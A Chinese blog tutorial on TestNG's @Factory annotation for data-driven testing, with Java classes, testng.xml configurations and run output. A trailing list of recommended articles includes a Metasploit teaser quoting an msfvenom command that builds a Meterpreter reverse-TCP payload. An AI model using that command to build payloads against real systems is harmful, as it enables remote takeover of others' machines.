为什么要使用@Factory注解呢,先来看下面这个例子

被测试类Person

package ngtest;

import org.testng.annotations.Parameters;
import org.testng.annotations.Test; /**
* @author Administrator
*
*/
public class Person{
String name;
int age; @Parameters({"name","age"})
public Person(String name, int age) {
super();
this.name = name;
this.age = age;
} @Test()
public void say() {
System.out.print("我是"+name+" ");
if(age<18){
System.out.println("我未成年");
}else if(age>=18&&age<=45){
System.out.println("我是青年人");
}else if(age>45&&age<=60){
System.out.println("我是中年人");
}else if(age>60){
System.out.println("我是老年人");
}
} }

该类的say()方法中有四个判断分支,为了测试充分,必须执行四次这个方法,如果不使用@Factory注解,在TestNG配置文件中必须这样配置:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd">
<suite name="Suite">
<test name="Test1">
<parameter name="name" value="明明" />
<parameter name="age" value="10" />
<classes>
<class name="ngtest.Person" />
</classes>
</test>
<test name="Test2">
<parameter name="name" value="杨子" />
<parameter name="age" value="20" />
<classes>
<class name="ngtest.Person" />
</classes>
</test>
<test name="Test3">
<parameter name="name" value="刘创" />
<parameter name="age" value="50" />
<classes>
<class name="ngtest.Person" />
</classes>
</test>
<test name="Test4">
<parameter name="name" value="朱爷爷" />
<parameter name="age" value="70" />
<classes>
<class name="ngtest.Person" />
</classes>
</test>
</suite>

如果使用@Factory注解,就比较简单,而且方便扩展,示例如下。

不需改动原有类,添加一个新类PersonFactory

package ngtest;

import java.util.ArrayList;

import org.testng.annotations.Factory;

public class PersonFactory {
@Factory
public Object[] factory() {
ArrayList<Person> testList = new ArrayList<>();
Person tp = new Person("明明",10);
testList.add(tp);
Person tp2 = new Person("杨子",20);
testList.add(tp2);
Person tp3 = new Person("刘创",50);
testList.add(tp3);
Person tp4 = new Person("朱爷爷",70);
testList.add(tp4);
return testList.toArray();
}
}

运行时,可以在Eclipse中,在这个factory类上点击右键,run as testng suite执行,也可以配置在testng.xml中,只需要配置factory类即可,原类不用管。

testng.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd">
<suite name="Suite">
<test name="Test1">
<classes>
<class name="ngtest.PersonFactory" />
</classes>
</test>
</suite>

运行结果

[TestNG] Running:
D:\workspace\tester\testng.xml 我是朱爷爷 我是老年人
我是杨子 我是青年人
我是刘创 我是中年人
我是明明 我未成年 ===============================================
Suite
Total tests run: 4, Failures: 0, Skips: 0
===============================================

使用@Factory的运行原理

  1. 如果不使用@Factory,运行普通的被@Test标注的方法时,实际上是TestNG框架调用了该类的构造函数构造出一个对象,然后再执行对象的这个方法。
  2. 使用了@Factory后,可以看到被@Factory标注的方法返回了一个Object数组,数组中每一个元素是一个被测试类的对象。也就是说@Factory构造了多个被测试类对象,然后把每一个对象都传递给了TestNG框架,然后TestNG框架在分别执行这些对象中被@Test标注的方法。

    通过上面的描述,我们就知道了@Factory可以帮助我们实现简单的数据驱动测试(根据测试数据,执行对应的程序)。

TestNG中@Factory的用法一:简单的数据驱动的更多相关文章

  1. testNG中@Factory详解

    @Factory注解从字面意思上来讲就是采用工厂的方法来创建测试数据并配合完成测试,其主要应对的场景是:对于某一个测试用例或方法,我们需要输入多个测试数据进行测试,并且这些测试数据可以是有一定关系(可 ...

  2. TestNG中DataProvider的用法一

    目录 为什么要使用DataProvider DataProvider的常规用法 带Method参数的DataProvider 带ITestContext的DataProvider DataProvid ...

  3. 简单聊聊TestNG中的并发

    前言 最近在做项目里的自动化测试工作,使用的是TestNG测试框架,主要涉及的测试类型有接口测试以及基于业务实际场景的场景化测试.由于涉及的场景大多都是大数据的作业开发及执行(如MapReduce.S ...

  4. Java自动化测试框架-07 - TestNG之Factory篇 - 欢快畅游梦幻工厂(详细教程)

    简介 最近忙着装修博客园,没时间更新文章,今天终于抽出时间把上次写的一半的文章给写完了,新的博客园风格,希望大家喜欢.今天继续介绍testng的相关知识--工厂. 工厂允许你动态的创建测试.例如,假设 ...

  5. TestNG中的数据源DataProvider概述

    http://blog.csdn.net/taiyangdao/article/details/52141711 在上一篇文章中,我们知道带参数的测试方法,可以在testng.xml配置文件中为其参数 ...

  6. TestNG之Factory

    如果我们的测试方法中,同一个变量需要很多个不同的测试数据,那么这些测试数据由谁提供呢,testng提供了factory的注解,下面我们来一探究竟. 一.单独使用Factory 1.新建一个含有@Fac ...

  7. TestNg它@Factory详细解释------如何更改参数值测试

    原创文章,版权所有所有.转载,归因:http://blog.csdn.net/wanghantong TestNg的@Factory注解从字面意思上来讲就是採用工厂的方法来创建測试数据并配合完毕測试 ...

  8. TestNG中的DataProvider返回Iterator<Object[]>的妙用

    TestNG中使用DataProvider有个好处,就是: 1. 在执行用例的时候dataProvider迭代中的每组数据都是作为一个用例执行 2. 在测试数据有规律的情况下,免去了添加testXML ...

  9. 【转】TestNG中的并发(多线程)

    优势 并行(多线程)技术在软件术语里被定义为软件.操作系统或者程序可以并行地执行另外一段程序中多个部分或者子组件的能力 多线程方式拥有很大的优势: 1). 减少测试运行时间 如果测试集里包含了大量的用 ...

随机推荐

  1. 记录一次关于Cookie、Json中文乱码的解决方法

    今天工作上遇到一个问题,需要把一个对象集合List<Model>存入一个Cookie,按照原来都封装方法存入都ok,但是到取值都时候中文会变成乱码. 首先,我们可以确认Json和Cooki ...

  2. Kali-利用metasploit中的exploit/multi/handler进行攻击

    在攻击服务器上生成连接软件,LHOST为攻击机IP地址 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=4 ...

  3. Redis Ubuntu 安装

    1.使用 root 用户登录 Ubuntu  2. wget http://download.redis.io/releases/redis-5.0.3.tar.gz 下载最新的稳定版本到 redis ...

  4. 【朝花夕拾】Android自定义View篇之(一)View绘制流程

    前言 转载请申明转自[https://www.cnblogs.com/andy-songwei/p/10955062.html]谢谢! 自定义View.多线程.网络,被认为是Android开发者必须牢 ...

  5. C++屌屌的观察者模式-同步回调和异步回调

    目录 一.概述 1.同步观察者 2.异步观察者 二.效果展示 三.同步观察者 四.异步观察者 五.相关文章 原文链接:C++屌屌的观察者模式-同步回调和异步回调 一.概述 说起观察者模式,也是比较简单 ...

  6. 该如何真正进入SEO行业?

    今天一个多年的朋友突然问我这个问题,他作为一个seo局外人,感觉SEO挺神秘,我认为要入行就要先了解一个SEO是什么职业,它的工作有那些,然后再考虑怎样进行学习或培训. 一.查看网站状态 seo人员每 ...

  7. 《C#并发编程经典实例》学习笔记—2.7 避免上下文延续

    避免上下文延续 在默认情况下,一个 async 方法在被 await 调用后恢复运行时,会在原来的上下文中运行. 为了避免在上下文中恢复运行,可让 await 调用 ConfigureAwait 方法 ...

  8. C语言学习书籍推荐《数据结构与算法分析:C语言描述(原书第2版)》下载

    维斯 (作者), 冯舜玺 (译者) <数据结构与算法分析:C语言描述(原书第2版)>内容简介:书中详细介绍了当前流行的论题和新的变化,讨论了算法设计技巧,并在研究算法的性能.效率以及对运行 ...

  9. MyBatis foreach标签的用法

    From<MyBatis从入门到精通> 一.foreach实现in集合 1.映射文件中添加的代码: <!-- 4.4 foreach用法 SQL语句有时会使用IN关键字,例如id i ...

  10. 用Python和Pandas以及爬虫技术统计历史天气

    背景 最近在计划明年从北京rebase到深圳去,所以最近在看深圳的各个方面.去年在深圳呆过一段时间,印象最深的是,深圳总是突然就下雨,还下好大的雨.对于我这种从小在南方长大但是后面又在北京呆了2年多的 ...